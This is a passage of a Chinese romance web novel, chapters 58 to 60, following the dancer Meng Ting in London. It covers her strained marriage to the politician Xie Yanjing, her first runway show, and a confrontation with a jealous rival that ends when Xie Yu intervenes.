头等舱有专门配备的烘干机,设定好时间和温度,他当着她的面将那些东西全都投了进去。 投完之后,又若无其事地转身,让空姐进来准备早餐。 孟汀:“……” 几乎是一瞬间,耳朵就红了个透。 怎么可能不难为情! 长这么大,她的内衣还没有被别人碰过,就是从前在望公馆,她也很少让云姨帮忙清洗,更何况是他。 其实她昨晚就想去洗的,这么多年来她一直保持着内衣不隔夜洗的好习惯,只不过那会他实在烧的严重,孟汀也就没想那么多,没想到就是慢了这么一天…… 注视着呆愣在原地的孟汀,谢砚倒是神色如常:“折腾了一晚上,你不饿?” 孟汀这才睁大双眼看了他,想起他其实还是个病号。 “你……不烧了吗?” 原本正在帮她调整刀叉位置的谢砚京顿了下,抬眼看她:“在你印象中,我身体有那么差,烧一晚上还不见好?” 孟汀:“……” 行,语气恢复到这个样子,他就算说自己还不舒服,她也不相信了。 整理好情绪之后,孟汀从床上爬起来,换了套衣服,又和他吃了顿早餐。 吃完之后飞机也差不多落地了。 遥远的地平线在视线中越来越清晰,二月初的伦敦,空气中还浸着冷意,机场工作人员都还穿着厚厚的外套,舱门打开的瞬间,那股独属于伦敦的气息顷刻间浸入肺腑。 私人停机坪上,谢砚京安排好的车辆早已经停好了,双脚踏实地面的那一瞬间,他的手机便响了起来,显然这趟行程给他堆积了不少要处理的事情。 孟汀拖着行李箱默默跟在他的身后,其实也并没有走几步,就已经上了暖和的接驳车。 她还以为他忙着处理手上的事情,没想到挂掉电话的下一秒,他忽然转身,将手臂搭在了车顶。 司机见状,非常善解人意地摇下车窗。 孟汀几乎是反射性地挑了下眉,额头微微皱起。 她以为他要说什么。 结果他只是垂下眉眼,淡声道:“回去之后,好好吃饭,好好休息,听到了吗?” 孟汀怔怔地看着他,还以为自己听错。 这种寻常的关心,用他惯有的冷漠语调一说,反而让她有种奇怪之感。 她几乎还没来得及反应,下一秒,男人已经转身,扬长而去了。 司机将车窗摇起来,载着她行驶出去。 十几个小时的飞行,换做平时,早都把她弄得精疲力尽耐心耗尽,但是这一趟,好像没有想象中那么漫长。 孟汀望着车外的风景发了会儿呆,直到手机上收到一条消息。 发消息的,竟然是许久没和她联系过的周严。 他说自己因故缺席了岑老师的退休会,所以没能和她见上面,问她是不是还在京市,他把之前她的u盘还给她,里边还原了她x之前邮箱被删除的所有文件。 第58章 这场会议的规模并不大,只因为有几位知名的国会议员出席,所以定在了伦敦规则最高的酒店里。 发言结束后便是既定的社交酒会,在场的人西装革履,衣香鬓影,端着香槟游走在不同的政客商人之间,推杯换盏,无论是时政、经济还是慈善,都能恰逢其时地发表几句。 谢砚京刚刚结束了几个话题采访,从负责人的位置退下来之后,他基本淡出了大众视野,这次接受采访,也不过是想为他在中东的几个慈善机构筹集更多的资金。 记者离去之后,他不愿在人群当中应酬,便找了个人少的地方处理手机上的信息。 最新的消息,也是内容最多的消息,来自谢钰的老公,迟珩屿。 迟家和谢家老一辈儿有交情,也因此,谢钰才走上了联姻这条不归路。 虽然谢钰是谢砚京名义上的堂姐,但祖父辈分家之后,不少族人北迁到了京市,大家基本都是关起门来各过各的日子,除非家族大事,平日里见面的机会不多。 因为都是女孩,谢书语和谢钰的联系更加紧密一些,因此关于这位迟家少爷的事情,他基本都是从谢书语那里得知。 谢书语说谢钰留学归来听到自己要联姻的消息,连死的心都有了,但是谢书语又说,在两人婚礼之前,谢钰似乎又觉得自己大概能活,而正式结婚之后,谢钰觉得自己不仅能活,似乎还能好好活。 而这一切,都因为迟珩屿是个恋爱脑。 但具体怎么执行的,谢书语倒是没说。 谢砚京压着黑眸点开了消息。 对方先礼貌地表明了身份,虽然他是名义上的“姐夫”,但也根本没有以这种身份自居,按年龄推算,两人其实差不多,对方却恭恭敬敬地喊了声“谢哥”。 下面的内容,也就是谢钰在电话里的说的那些,迟家在英国有产业,迟珩屿又是海外公司的负责人,尤其在英国驻守的时间长,能担得上东道主这个名头。 但重点不是这些。 谢砚京点开了他的朋友圈。 本以为像他这样的公子哥儿,生活会丰富多彩些。谁知道,里面就三条内容。 第一条是他和谢钰求婚的过程。 第二条是他和谢钰婚礼的过程。 第三条是他和谢钰结婚纪念日三周年的过程。 再细看一眼。 他的头像是和谢钰的对戒,空间背景是两人的结婚照,就连个性签名,都是两个爱心中间夹了一个结婚纪念日的日期。 “……” 谢砚京没什么情绪地点了出去。 然后又在点出去的半分钟内点了回来,想看看他那对戒有什么特别的,也值得放在头像这么显眼的地方。 一来二去,竟然浪费了他差不多半个小时的时间,直到李叔给他递了份新的邀请函过来,他才暂停了那个放在朋友圈的婚礼视频。 李叔一瞬间以为自己看错了,回过神来时下意识地问了一句:“这是谢钰小姐的婚礼?” 提到这个,李叔便忍不住感慨:“这场婚礼办得确实不错,那天我去送贺礼,看完了全程,挺震撼的。” 迟家虽然不是京市顶级豪门,但是砸在这场婚礼上的钱却丝毫不输那些顶层老钱。而且并不是单纯的面子工程,更多的是出于对谢钰小姐的重视和尊重。 谢砚京抬眸看他,漆黑的眼眸中压着一抹意味深长的凉意。 李叔立马噤声了。 “把她送到家了?” “您说汀汀小姐吗?司机说她已经安全到家了,他到的时候,楼下的两个室友都出来迎接了,似乎为了给她接风洗尘,还专门做了顿火锅。” 谢砚京没回话,手上的动作却没停,看样子实在翻自己的日程。 看完之后,男人清隽的眉头稍稍皱了下。 李叔心绪地摸了下鼻子,昨天听说他发烧之后,为了他的身体着想,特地减去了一些不必要的行程。 难道被发现了? 李叔想了想,就在他犹豫着要不要在他质问前坦白时,谢砚京先开口了:“去惠顿区的行程是取消了吗?” 听到这,李叔松了口气,解释道:“那位是力纪公司的负责人,上次会晤的协定达成之后,他一直想同您见面,您怕时间赶不上,就直接推了。” “是吗?”极平淡的一句,却像是压着一种肃冷之意。 李叔正准备回一句“是”,感受到谢砚京语气中那股冷意之后,忽然想起一件事。 惠顿区是孟汀所居住的街区。 跟在领导边上,最重要的便是察言观色的能力,这样的能力不仅体验在工作上,也体验在对谢砚京生活的观察上。 论理如此,论情更是如此。 他在谢家干了一辈子,和谢砚京的关系早就超过了普通的上下级。别人或许不清楚,但是谢砚京对孟汀的感情,他看的最真切。 他这辈子没有多大的心愿,就希望大家能把日子过得顺当,和睦。这种和睦当然不包括因为谢砚京那个狗脾气导致汀汀小姐独自在外面生活一年多。 迟家的小少爷就是个很好的范例,他们家这位,不说有迟家小少爷的一半,哪怕三分之一,五分之一,十分之一,现在也不至于是这么个情况,说不定现在连小少爷小小姐都抱上了。 李叔努力将自己左手牵着小少爷,右手牵着小小姐的幻想赶出脑海,将那句原本笃定到不行的回答给咽了回去,并及时更换成一句,“其实时间是能赶上的,我先帮您加上。” * 孟汀其实并没有立刻回公寓。 下车之后,她先去出入境管理中心将孟云溪手术需要的资源补全了,回来的路上逛到一个很漂亮的瓷器店,里面和爱丽丝联名的茶具非常漂亮,她想着谢书语会喜欢,便给她下单了一套邮寄回去。 那天从望公馆出来之后,她给梁叙打了个电话。 她觉得无论是她,还是谢砚京,终究是站在谢书语和梁叙世界之外的人,解铃还须系铃人,与其让旁人周旋,不如直接联系正主。 梁叙接电话的过程比她想象中的快。 其实之前他的手机一直是关机的,只不过孟汀打来时正是谢砚京走后不久。谢砚京的那番话到底还是起到了作用,虽不至于神圣到拯救他于水火深处,但好歹也让他岌岌可危的意志稍加稳固。 他以为有谢砚京这番话就够厉害了。 没想到还有高手。 这个高手竟然还是平日里总是一副没什么脾气的孟汀。 电话接通后,孟汀是和谢砚京完全不同的风格,她既没有对梁叙冷嘲热讽,也没有破口大骂,而是温声细语地让梁叙将两人之间的情况说了一下。 梁叙虽然说的断断续续,但孟汀还是听懂了,放下电话之前她一边点头一边动容道“我很能理解你的心情和处境。” 梁叙当时都快感动了,又听孟汀心平气和却冷漠地来了句:“但我希望你是个真正的男人。” 言外之意,他现在的所作所为根本不是个男人。 梁叙:“……” 用最温柔的语气说最具杀伤力的话无外乎就是如此了吧。 本来还想再待一个晚上的梁叙,在日落之前走了出去。 办理完邮寄手续后孟汀才走回了公寓,一顿火锅吃的孟汀差点碳晕。 火锅自然不是白吃的,早在开始前,孟汀就把自己从国内义务打包的那一堆小东西分完了。 包括十个手机壳,五个毛绒挂件,三个不同造型的平板支架,还有各种各样的厨房神器以及卧室神器。 赵一茜还给孟汀带了个消息,原来她回国的这段时间,家里寄来了一封奢牌的秀场邀请,赵一茜知道孟汀不大逛这些店,以为是诈骗邮件,便自作主张替她打开看了一下,没想到里面的内容写的不是邀请孟汀去看,而是邀请孟汀去走秀! 她便一直保持着等孟汀回来定夺,因此吃完饭后,三个人又是查官网又是打电话咨询,确定孟汀真的是U牌的邀请对象。 U牌是一个英国本土的少女品牌,这几年走轻奢路线,在国际上也算是打开了一片市场,近年来在中国的营销份额逐渐增加,所以更加注重品牌化的发展。对方了解到孟汀,一开始是国内的那部舞剧《归去来兮》,后来则是在英国上演的《咏春》,这封邮件其实也是先寄到剧院然后由专门负责的工作人员审核转寄的。 孟汀的长相偏温婉,其实不太符合x传统意义上外国人对国人的审美,但U牌打破常规,主张形式上的创新,发出了很诚挚的邀请,具体体现在在了数额不低的演出费上。 孟汀在两位室友的怂恿下选择了接受。 尝试一些新的舞台,本来也是她出国的初心。 赵一茜和余琳已经在美美畅想孟汀的舞台了,为了表示诚意,都还定了秀场的观众票,去现场支持她。 三人插科打诨结束后也不过晚上八点,孟汀因为要倒时差,已经来了困意,所以早早洗澡上床了。 平躺在床上时才想起,周严的那条消息,她还没有回复。 第59章 孟汀盯着天花板发了会儿呆。 她没想到周严竟然还记得这件事。 当初她走的仓促,将u盘给周严,让他将恢复好的邮件拷贝在上面,是两人沟通的最后一件事。但还没恢复完,她就被谢砚京带走了,后来她离开剧团在国外读研,两人根本没有机会见面。 或许当时他有发过消息,但她那会儿的生活处于打破和重建的间隙,根本无暇顾及。 现在倒是稳定下来了。 但也正是因为稳定下来了,才让她纠结追溯往昔还有没有意义。 但周严付出的时间和精力是真实的。 想到这一点,孟汀思索着给周严回复了。 她先表示了自己的感谢,又表示了自己的抱歉,因为行程原因已经出国,得麻烦他将那些内容打包发到她的邮箱,回国之后,她再请他吃饭。 周严回复的很快。 他比了个“OK”的手势,但解释说这周恐怕不行,他们领导这周要在京市考察一周,行程安排的很紧凑,估计要考察结束后再给她发过去了。 孟汀又发了个感谢的表情。 接下来的几天,她都在忙碌中度过。 跟导师确定好论文题目之后,她便马不停蹄地开始为论文做准备了。春天的脚步迈近,随着气温一点点升高,孟汀的学习场合也逐渐从温暖却封闭的图书馆挪到了室外。 UNL是座历史悠久的百年名校,坐落在伦敦内河畔的一个小镇上。 内河像是一条漂亮的丝带,从校园内蜿蜒而过,沿河的岸边,种着沿风涤荡的垂柳和漂亮花树,还布置了许多供大家学习的桌椅。风和丽日的时候,位置甚至需要提前抢。 周三的时候孟汀只不过稍微起晚了几分钟,就看到学校的情报小群里,室外座位即将被占满的消息。 她立刻起床收拾了一下,早饭也没来得及就出发了。 那辆显眼的黑色库里南就是在她等公交时出现的。 车窗摇下的瞬间,出现男人那张熟悉的脸。 他一身暗色西装,温莎结打的一丝不苟,清隽而矜贵,修长的线条轮廓沐浴在阳光之下,深邃中又流淌着不容侵犯的庄严。 一般他这样打扮,是有重要的会晤。 “去学校?” 盯着她背上的书包,谢砚京沉声来了这么一句。 孟汀没想到会在这儿碰上他,心道他应该只是路过,沉默地点了下头。 下一秒,清冷嗓音吐出两个字:“上车。” “啊?” 前面的李叔见状,立马善解人意地解释:“谢先生要去的地方就在UCL附近,可以顺路稍您一程。” “您不是着急赶车吗?” 到底跟在下谢砚京身边多年,李叔最基本的判断力还是有的,一看她手中拎着还没吃的早饭,就知道突破口在哪儿了,一句话就落在孟汀的痛处。 孟汀咬了咬唇,看到公交暂时没有过来的意思,只好上了车。 上车之后,李叔又接上一句话,打破车内略显凝固的氛围:“小姐还没吃早饭吗?” 孟汀小声“嗯”了下,“今天起的稍晚了些,准备打包去学校吃。” “吃的什么?” 问这句的是谢砚京。 孟汀看他似乎对她手上的东西好奇,便举起盒子给他看了眼,然后道:“昨晚我室友买回来的剩菜盲盒,还没来得及打开看。” 近段时间剩菜盲盒在留子间很流行,余琳昨晚回来时一次性打包了三分,给她们一人一份当做早餐。 虽然叫剩菜盲盒,但之前有不少博主测评过,里面的东西给的货真价实,还能解锁一些新口味,所以不少人都非常热衷这项活动,有时候去晚了,抢不到心仪饭店的盲盒,还需要到二手市场加价购买。 孟汀很期待自己手里这份披萨盲盒能开出什么口味。 正当她在脑海里罗列出三四种可能的味道时,谢砚京则在她看不到的暗处蹙了蹙眉。 不过他并没有就这件事多评论。 学校离她住的公寓并不远,她只看了那么一小会儿风景,就到了。 下车之后她便带着自己的早饭直奔内河旁,幸运的抢到了一个学习位。 学校的咖啡馆提供微波加热服务,孟汀给自己点了杯牛奶,又让店员帮忙将盲盒加了个热。 她今天的运气很不错,开到了一块芝士烤牛肉披萨,一块奶油蘑菇披萨,还有一块香菜鸡腿肉披萨外加两个洋葱圈,和一小份薯条。 而就在她端着加热完的披萨准备回座位时,一个消息弹出手机界面。 华夏银行提醒她:您尾号为xx23的储蓄账户有一笔新的入账信息。 打开一看,转账数额七位数。 对方账户显示为谢砚京。 孟汀:“…………?” 孟汀微微皱了下眉,不明白他一大早这么操作是何意为。 但她还是倾向于他看错了账户名,导致转错了地方。 犹豫半晌之后,她将转账信息截了个图,主动发给了他。 把他从黑名单里拉出来之后,她还没主动给他发过消息,这算是第一条。 【?】 一个非常精神的问号。 谢砚京没过多久就回来消息。 消息内容很简短:【吃点好的】 孟汀拧着眉,垂下的眼睫不自然的跳动,慢条斯理地咀嚼着香喷喷的芝士,没太明白他这句话的意思。 但谢砚京很快给了解释:【别总吃剩菜】 “…………” 回过神来后的孟汀哭笑不得,但总算知道问题出在哪儿了。 她思考了一下觉得还是给他解释一下现在的剩菜盲盒经济到底是什么,不然他一个大名鼎鼎的政客,却闭关锁国地像是活在清朝,还是挺悲哀的。 于是孟汀截了个网络上的解释发给他,理直气壮地指出,她吃的并不是真正意义上的“剩菜”。 没想到对方油盐不进的来了句:【披个盲盒的皮就能改变剩菜的本质?】 孟汀不想回复了,默默地打开银行软件,准备把这笔钱给转过去。 没想到刚输入数值,屏幕上便跳出来一个提醒。 【您的日单笔转账额度为伍万元,请您按照限额重新输入】 孟汀:“……?” 这一笔一笔要转到什么时候去? 正好这时候和她对接的U牌工作人员发来了消息,询问她今天有没有时间来试一下成衣。 孟汀叹了口气,默默退出了软件,决定先和工作人员对接。 成衣虽然都是按照模特身材安排的,但还存在一些细节需要修改。 两人将时间定在了下午。 在学校食堂吃了个午饭后,她便根据对方发来的地址,前往U牌总部。 当天到的亚洲女孩还不少,语言习性带来天然的亲热,负责人还没有到来,几个女孩提前聚在一起聊天。 自我介绍中,孟汀得知,她们其中有两个本来就是秀场模特,还有两个和孟汀一样,是商务挖掘出来的素人。 两个模特女孩都很热情,看到孟汀是初次走秀的新人,知无不言地同她讲解了一些规则和流程,反而是原本应该和她有更多共同语言的两个素人模特,看她的眼神怪怪的。 那目光虽然称不上绝对的敌意,但总是让她有些不舒服。 不过她没有多想,没一会儿,大家就被各自负责的人叫走了。 和孟汀对接的是个华裔女孩,叫Demi,只比她大了三岁,无论是说话还是做事风格,都有种她没有的成熟。 设计师给她搭配的是一套香槟色的镂空网纱长裙,与之配套的袖套已经一定黑色的偏缝小礼帽。 裙子的主面料很有一种中世纪的宫廷复古的奢靡之感,版型却和现代的简约时尚完美结合,和孟汀本就古典温婉的气质很搭。 纤细精巧的肩线恰好撑起流畅的线条,收腰板式完全贴合她的身材曲线,盈盈一握的腰身下,两只莹白而修长的腿在光线下像是泛着光。 孟汀虽然没有经受过专业台步训练,但是她舞蹈底子好,模仿和学习能力很强,Demi简单指点了x两句,就有感觉了。 设计师又根据她的步伐习惯,标记了几次需要修改的地方。 专业模特对三围有着非常严苛的要求,所以一场大秀开始前,通常需要进行非常严苛的身材管理,超出1mm,都面临着被刷下去的风险。 像孟汀这样的业余模特要求就稍微宽松一点儿,但孟汀的身材无疑是Demi认为自己接待的几个人当中最好的,需要修改的地方并不多,空出来的时间,也更方便她和设计师讨论一些细节上的巧思。 因此设计师又和Demi商量了半个小时,才将孟汀放出来。 而工作结束后的Demi明显比之前松弛了不少,和孟汀聊起不少题外话:“我很喜欢你们在大剧院的舞剧《咏春》,尤其喜欢里面的女生,又美又飒,很符合我想象中的侠气。” “但是听说之前罢演了一段时间,是因为什么呢?” 孟汀给她讲了一下事情的来龙去脉,听完之后的Demi对她们更是赞不绝口,“就该是这样,侠气本来就应该体现在生活的方方面面。” “你们做的很棒!”她冲孟汀竖起个大拇指。 孟汀还是有些不好意思的,说来惭愧,一开始,她也是抱着自认倒霉的心态准备就此结束的。 Demi将孟汀送到楼下。 临走之前,她又给孟汀透露了个消息,秀场结束之后,主办方还安排了一场质量很高的酒会,酒会现场会有不少业界名流,如果她想社交的话,可以稍微准备一下。毕竟,秀场的衣服虽然好看,但是和礼服还是有差别,尤其她那一套,本来就主打的是简约风。 孟汀点头谢了Demi的好意。 * 一周的时间一晃而过。 孟汀在周中接受了几次专业的台步指导,还抽空参加了一场《咏春》的演出,转眼就到了正式走秀的那一天。 赵一茜和余琳陪她一起过去,她们两人也得知了秀场后有酒会的小道消息,她们没有邀请函没法参加,但是怂恿孟汀一定要参加。 赵一茜:“这不比学校举办的那些酒会质量高多了?认识几个大佬,以后的路也好走一些。” 余琳:“就是就是,别的不说,汀汀你舍得你那条漂亮的礼服裙一直挂在漆黑的衣柜里吗?也该让它出来见见世面。” 孟汀不是个擅长社交的人,对于这种场合向来望而却步,但是又实在不想辜负赵一茜和余琳的期待,最后还是带着那条裙子出发了。 秀场设置在一个英国老牌酒店的顶层,舞台是品牌标志性的U字,一正一反联结起来,构成了一个循环。 迎宾区设置的很漂亮,白瓷瓶中插满了盛放着的香槟玫瑰,淡雅的香气交织在名媛千金们高级香氛中,聚光灯定焦在不断入场的明星和媒体当中,气氛热烈又隆重。 孟汀和一众模特们等在后台,做最后的准备。 舞台一直是她的舒适区,她一直秉持的理念便是,舞台是用来展示的,而不是用来恐惧的,因此就算第一次踏足T台,也没给她增加多少实质性的压力。 设计师又在她袖套的收口处加了一圈水滴形的挂坠钻石,整体风格比之前要亮眼不少,看着上完全装走出来的孟汀,Demi和设计师的眼里都闪过一抹惊艳。 “太美了!” “自信满满地上台吧,你简直就是今晚最亮眼的宝宝!” Demi真心实意地夸了孟汀几句,就簇拥着她上台了,恨不得让全世界都看看她有多美。 每次上台之前的孟汀都会放空自己,上了舞台之后就更加心无旁骛了。 走步时落落大方,定点时有对着镜头露出恰到好处的笑容,第一套顺利走完之后,她飞快地换了第二套,配合着前面模特的脚步完成整个过程。 三套全部走下来,几乎找不到什么失误的地方。 随着最后一位模特回到内场,现场响起热烈的掌声。 内场的模特们都不约而同地松了口气,互相拥抱着表示庆贺。 孟汀的手机里早就发来了赵一茜和余琳拍到的现场照,并催促她赶紧换装,在酒会现场好好表现。 孟汀的入场邀请是Demi发的,同样有资格的还有她手下的一位模特,两人在彩排的时候聊过几句,这会儿一起相伴着到了后厅的更衣区,为酒会做准备。 孟汀交谈地认真,完全没注意到,她进门时,一道不客气的目光从她身侧扫视而过。 女生叫黄玲枂,正是孟汀第一天来时碰到的素人女生。她穿了件黑色的斜肩缎面礼服,正对着梳妆镜整理耳饰,流苏钻石在灯光下发出耀眼的光,她眉眼中却透着几分厌恶和不耐烦。 收回目光之后,她对着身边另一个女生冷笑道:“Demi也太大方了,竟然会给这种人发邀请。” “走一个T台就够烦了,竟然还要和她参加同一场酒会。” 另一个女生叫吴曼之,立刻冷笑着回了剧:“可不是吗?U牌什么时候降到这种档次了,要她这样的人来走秀场……” 两人对孟汀的恶意并不是凭空产生的,说起源应该要从三年前的那场联姻说起。 她们皆是背景在京市可查的大小姐,三年前,不知从哪儿传来谢家要联姻的消息。 古都金陵的名门望族,有名的政治经济世家,所有的亲戚非富即贵,不是政界就是商界名流。而谢砚京又是如天之骄子般的存在,年纪轻轻便政绩斐然,成为万众瞩目的外事部负责人。更别提那一副基因彩票似的好皮囊,就算不熟知他背景的人,也很轻易为之动容。 虽然和谢砚京并无交集,但是不妨碍她们觉得嫁入谢家是一个最好的选择。 这样显赫的家世,出众的能力和容貌,联姻对象无论如何也该是与之匹敌的豪门千金。 无人不希望这桩姻缘落在自己身上。 可没过多久,这个事情就没了消息。 两人也是最近才得知,原来谢砚京早就和一个叫孟汀的小姑娘领了证。 一个在权贵圈子里根本排不上号的孟家,又是在六桥镇那样的小地方,听说母亲还是个不入流的戏子。她身上的任何一点,都不配和谢砚京站在一起。 一想到他们的长辈还因为联姻的事情跑去过谢家,而站在他身边的竟然是孟汀,她们就觉得有种深深的羞耻。 一时间,关于孟汀的谣言也四起。 有人说她和她妈一样,靠着不入流的手段才能在谢砚京身边,还有人说她已经为谢砚京流掉了好几个孩子,靠着他的愧疚和同情被包养。 若是长久的不见面还好说,没想到有朝一日,她竟然会和她们走同一场秀。 这跟打她们的脸有什么区别? 如果传言是真的,她们见到后,或许可能几分悲情的意味,可她们眼中的孟汀,漂亮,自信,大方,和所有人说话都不卑不亢,一点儿也没有小门小户的局促。尤其是那张脸,是明眸皓齿,婉约大气,是一眼就能被惊艳到的美人。 而且她本人没有一点儿羞耻心,好像和谢砚京在一起,是天经地义的事情。 这才是最让人恼火的。 黄玲枂“啪”地一声合上手中的首饰盒子,表面上是看镜中的字迹,实际上则是观察在里面的动向。 心里压抑着的那团火,无论如何都不能熄灭似的。 而就在她苦于没有地方发泄之时,门外忽然有人喊了一句,“请问孟汀小姐在里面吗?” 说话的是个男生,声音并不大,黄玲枂这个位置也只听到一点儿,而在后排房间的孟汀根本不可能听到。 黄玲枂滞了一下,几乎是下意识地起身,走了出去。 那男生像是助理模样,手上拎了一个袋子,袋子里面装着一个不大不小的盒子,礼貌询问:“请问您是孟小姐吗?” 黄玲枂摇了摇头,但她很快便反应了过来,弯起一个礼貌的笑意,“我不是孟小姐,但我是她的朋友,请问您有什么事吗?” 那男生打量黄玲枂一眼,只见她笑容温柔又和蔼,也是一身高奢打扮,不像是什么奇怪的人,况且名媛千金间大多相识,看她周身气质,和孟小姐相识也不为过。 助理于是道:“能不能麻烦您把这个给孟小姐送进去,就说是有人送给她的礼物。” 黄玲枂微拧了下眉,问道:“你们是……” 助理:“这个您不用担心,就说是她朋友送的礼物,孟小姐一会儿会知道的。” 黄玲枂眨了下眼,心中的疑惑落地,既然是个普通朋友送来的,x她也没必要顾忌那么多了,大大方方接手过来后,说一定帮她送到。 助理道了谢便离开了,一旁的吴曼之问:“是什么东西?” “谁知道?”说着,黄玲枂就已经将手中的东西打开了。 两人的目光几乎是一瞬间被吸引。 这盒子里竟然躺着一条几乎要将她们闪到眼瞎的钻石项链。 主钻是如大海般温柔的宝石蓝钻,一共7颗,由大到小从中间依次排开,宝石周围则众星拱月般堆叠着大小错落有致的白钻和澳白珍珠,无论是光泽还是细腻度,透着绝对的货真价实,清浅的灯光落在上面,流光溢彩,耀眼夺目,华丽奢华到逼着人倒抽一口凉气。 什么人会送孟汀这样珍贵的项链? 黄玲枂本就不舒服的感受,因为这条项链,到了极致。 就在这时,更换好礼服裙的孟汀走出来了。 第60章 孟汀怔然回头,不解地看她一眼。 她认出这两位就是第一天见面时遇到的那两个素人模特。当时她还以为自己对她们有误解,但现在一想,似乎在那时,两人就对她有意见了。 虽然她们走的是同一台秀,但因为间隔错的很开,整场工作几乎没有交集,此刻对上黄玲枂那不太友善的目光,孟汀还是拿出最本能的礼貌,问了句:“请问有什么事吗?” 黄玲枂皮笑肉不笑地对孟汀道:“有人刚刚过来,说是把这个东西送你。” 说着,把手边的盒子往孟汀眼前推了推。 原来是有东西给她。 孟汀不明白传递个东西的事情就让对方这么大的恶意,但也没有多问,直接上前一步,准备先看看是什么东西再下定论。 因此一走过去她便直接打开了盒盖,然后也被里面躺着的那条项链惊了下。 而就在她准备接手过来看的更加仔细时,盒子忽然被黄玲枂用力一按。 孟汀不解地抬头看她一眼,而压抑许久的黄玲枂,终于扯出一个冷笑,对着孟汀,直接道:“你不会真的以为你自己能戴这样的东西吧?” 孟汀的目光中浮现出茫然,不是她先说这是别人送来的东西吗,现在说这样的话又是什么意思。 孟汀:“我没明白你是什么意思。” “什么意思?”黄玲枂继续笑了笑,“我的意思就是你不配。” 孟汀拧着眉看她一眼,没明白她的恶意从哪里来。 “你是什么货色你自己不清楚吗?一个不入流的乡下小戏子,就凭你这样的也敢站在谢砚京身边,你以为你穿上礼服,戴上首饰就是谢家少奶奶?也不拿镜子好好照照自己,不就是一味的装可怜,搏同情吗?现在成功上位,又耀武扬威的展示身份,又走秀场,又参加舞会,你以为你在谢家是个什么东西!” 听到这里,孟汀终于明白了。 她不是没经历过这种事情,从前在俞静之那里也算经历过一遭了。以前她还会费尽心思思考,后来她才知道很多人的恶意其实是没有理由的。 这个世界的天平永远都是倾斜的,可倾斜到的人也从来不会满足,只会觉得自己没有拥有更多。 孟汀深呼吸一口气,正准备开口,没想到话音未启,更衣区的大门“砰”地一下被推开! 一股高级的香水味顺着穿堂的风飘进来,像是空谷里清幽的兰花香,让人鼻尖一颤。接着是一阵滴滴答答的高跟鞋声,踩在大理石地板上,发出清脆与悦耳的声响,明亮的地砖反射着她的倒影,不用抬眼就能想象出来人那精致冷艳的美感。 刚刚还气势汹汹的黄玲枂忽然怔了下,因为正对着大门,她比孟汀更先看清来人的那张脸。 针对孟汀时嫉妒而扭曲的表情,因为来人,正准备迅速转变成一个笑脸,可还没来的完全转换,便听到“啪”的一声。 女人竟然直接抬手给了她一耳光。 而比耳光更具气势的,是女人接下来的话。 “你以为自己是什么东西,敢在这里胡说八道!你不是不知道她的地位吗?我今天就告诉你,她是谢家的少奶奶,谢家的正牌夫人,谢家的半边天!轮得到你一个小贱人在这里说三道四,倒反天罡!” 现场一片寂静。 之前慢了孟汀一步的外国小模特,本来换好衣服准备出来,刚探出一个脑袋,就被吓了回去。 其他的隔间里面顿时也安静如鸡。 在场的所有人都愣住了,更别提挨了一巴掌的黄玲枂。 这是一场从一开始就注定不平等的交锋。 黄玲枂正是清楚这一点,才会在挨了这几近屈辱的一巴掌后一声不吭,就算眼泪在眼眶中打转,也不敢有任何多余的动作。 因为她认识眼前的人。 谢钰,谢砚京的堂姐,现在又是迟家的大奶奶。 迟家虽然和谢氏正房一门实力有些差距,但是手中掌管的海运业务,和黄家的关系千丝万缕,迟家只要动动手指,就能让黄家狠狠地脱一层皮。 这个圈子的规则向来如此,有钱有权才有话语权,她能仗着自己的身份侮辱孟汀,上面自然也有能仗着身份侮辱她的人。 黄玲枂低头捂着脸。 其实谢钰的这一巴掌力气并不是很大,比起让她疼,训诫的意思的其实更明显。 可是如此,也足够让她羞愧到无地自容。她眼泪汪汪地抬了下眼,半晌之后,才终于颤抖着声音开了口,“迟太太,我不是我故意的,我今天只是……” 谢钰只是居高临下地扫视一眼,“跟我道歉有什么用,给孟小姐道歉。” 黄玲枂料到会时这样的结局,咬了下唇,这才慢吞吞地走到孟汀身边,朝她鞠了一躬,低声道:“对不起,孟小姐。” 孟汀在这种事情上向来原则性很强,她虽然性子软,人也善良,但也不是轻易吃亏,其实谢钰来之前她就想和黄玲枂正面交锋的,但轮战斗力,眼前这位迟太太可能还是略胜一筹。 见孟汀目光稍微缓和一下,谢钰推开碍眼的黄玲枂,主动上前一步,亲自给孟汀戴上那串钻石项链。 她三言两语就把自己的身份解释清楚了,又在黄玲枂那对塑料小姐妹落荒而逃之后,说明了送她这串项链的理由。 “阿砚这次帮了我个大忙,论别的我也帮不上,也只能送点小东西表达表达心意。” 她还说本来准备自己亲自送来的,只是刚入场就被生意场上的几个老板绊住了脚步,所以才派了个助理过来,谁知那助理也太不靠谱,也幸好她赶过来的及时,若是真发生点什么,她真不知道该怎样向谢砚京交代。 孟汀则下意识地吞咽一下,她对钻石也算有研究,谢钰送她的这一条,绝对的货真价实,不说拍卖的竞价,就是原材料,最起码也要七到八位数,她怎么好意思收。 而就在她犹豫之间,谢钰则笑嘻嘻地把她拉到镜前,眼神里是止不住的夸赞:“别的不说,这条裙子和你的这套礼服裙是真的绝配。不愧是辅修过美术的人,审美真是一绝……” 谢钰啧啧称赞,话里话外似乎指向这身搭配似乎另有其人,但她更多是语焉不详地自我感慨,孟汀也就没好意思多问。 不是谢钰夸大其词,镜中的孟汀确实惊艳。 这一身,是比之前在秀场上还要漂亮的存在。 正统的老牌有自己的独到审美,设计出的礼服裙往往高调华丽却又不失内涵,能最大限度的凸显试穿人本身的美,若说这条裙子将孟汀的自然美感衬托到了极致,那这条项链就是在自然上又增加一份物质的高级。 “美,太美了。” 孟汀露出一个不好意思的笑容,也开口:“嫂子你也很美啊,进来的那一瞬间我就目不转睛了。” 她说这话时眼睛里坠着笑意,那双纯真至极的双眸,不沾染半点尘埃,也不沾染半点欲望,真诚的不行。 谢钰更开心了,这样人美嘴甜的小仙女,还能到哪儿找去,谢砚京还真是好命。 很快谢钰就挽着孟汀走出了更衣区。 嫁入迟家之后,她并没有进入迟家的家族企业,反而在慢慢开拓属于自己的商业地图,究其原因她觉得还是迟珩屿太扶不起来,当老公可以,但是当商业伙伴,实在是不靠谱,她自己都不知道他是怎样将手下那几万员工管理运作起来的,明明他看起来就像个二百五。 因此谢钰婚后没多久便开创了自己的品牌,一开始势头倒是很盛,给她积攒了不少底气,这两年经济模式改变,导致好几处x被收购,请谢砚京帮忙也是这个原因。 但这也没让谢钰多沮丧,因为这一年,迟珩屿和她同期创业的公司,被收购的资金额比她还大。 两人一路走过去,不少商界代表都同她点头致意。 跟随在她身边的孟汀自然也受到了不少关注。 其实不只是谢钰的原因。 因为今晚的她实在是太耀眼了。 